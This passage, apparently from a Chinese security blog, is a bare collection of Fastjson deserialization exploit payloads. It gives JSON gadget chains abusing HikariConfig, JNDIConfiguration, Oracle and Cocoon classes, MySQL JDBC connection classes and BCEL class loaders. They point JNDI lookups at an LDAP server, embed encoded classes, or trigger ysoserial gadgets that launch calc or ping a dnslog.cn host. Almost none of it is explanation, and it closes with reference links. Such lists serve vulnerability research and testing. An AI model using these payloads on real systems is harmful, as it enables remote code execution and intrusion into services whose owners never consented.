"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A...o$V$A$A"
}
HikariConfig

{
"@type": "com.zaxxer.hikari.HikariConfig",
"metricRegistry": "ldap://127.0.0.1:23457/Command8"
}
HikariConfig

{
"@type": "com.zaxxer.hikari.HikariConfig",
"healthCheckRegistry": "ldap://127.0.0.1:23457/Command8"
}
HikariConfig

{
"@type": "org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig",
"metricRegistry": "ldap://127.0.0.1:23457/Command8"
}
HikariConfig

{
"@type": "org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig",
"healthCheckRegistry": "ldap://127.0.0.1:23457/Command8"
}
SessionBeanProvider

{
"@type": "org.apache.commons.proxy.provider.remoting.SessionBeanProvider",
"jndiName": "ldap://127.0.0.1:23457/Command8",
"Object": "su18"
}
JMSContentInterceptor

{
"@type": "org.apache.cocoon.components.slide.impl.JMSContentInterceptor",
"parameters": {
"@type": "java.util.Hashtable",
"java.naming.factory.initial": "com.sun.jndi.rmi.registry.RegistryContextFactory",
"topic-factory": "ldap://127.0.0.1:23457/Command8"
},
"namespace": ""
}
ContextClassLoaderSwitcher

{
"@type": "org.jboss.util.loading.ContextClassLoaderSwitcher",
"contextClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"a": {
"@type": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmS$ebN$d4P$...$A$A"
}
}
OracleManagedConnectionFactory

{
"@type": "oracle.jdbc.connector.OracleManagedConnectionFactory",
"xaDataSourceName": "ldap://127.0.0.1:23457/Command8"
}
JNDIConfiguration

{
"@type": "org.apache.commons.configuration.JNDIConfiguration",
"prefix": "ldap://127.0.0.1:23457/Command8"
}
JDBC4Connection

{
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.jdbc.JDBC4Connection",
"hostToConnectTo": "172.20.64.40",
"portToConnectTo": 3306,
"url": "jdbc:mysql://172.20.64.40:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
"databaseToConnectTo": "test",
"info": {
"@type": "java.util.Properties",
"PORT": "3306",
"statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true",
"user": "yso_URLDNS_http://ahfladhjfd.6fehoy.dnslog.cn",
"PORT.1": "3306",
"HOST.1": "172.20.64.40",
"NUM_HOSTS": "1",
"HOST": "172.20.64.40",
"DBNAME": "test"
}
}
LoadBalancedMySQLConnection

{
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection",
"proxy": {
"connectionString": {
"url": "jdbc:mysql://localhost:3306/foo?allowLoadLocalInfile=true"
}
}
}
UnpooledDataSource

{
"x": {
{
"@type": "com.alibaba.fastjson.JSONObject",
"name": {
"@type": "java.lang.Class",
"val": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource"
},
"c": {
"@type": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource",
"key": {
"@type": "java.lang.Class",
"val": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driver": "$$BCEL$$$l$8b$..."
}
}: "a"
}
}
LoadBalancedMySQLConnection2

{ "@type":"java.lang.AutoCloseable", "@type":"com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection", "proxy": { "connectionString":{ "url":"jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&useSSL=false&user=yso_CommonsCollections5_calc" } } }}
ReplicationMySQLConnection

{
"@type":"java.lang.AutoCloseable",
"@type":"com.mysql.cj.jdbc.ha.ReplicationMySQLConnection",
"proxy": {
"@type":"com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy",
"connectionUrl":{
"@type":"com.mysql.cj.conf.url.ReplicationConnectionUrl",
"masters":[{
"host":""
}],
"slaves":[],
"properties":{
"host":"127.0.0.1",
"port":"3306",
"user":"yso_CommonsCollections4_calc",
"dbname":"dbname",
"password":"pass",
"queryInterceptors":"com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize":"true"
}
}
}
}

参考

https://tttang.com/archive/1579/

https://su18.org/post/fastjson/#7-fastjson-1247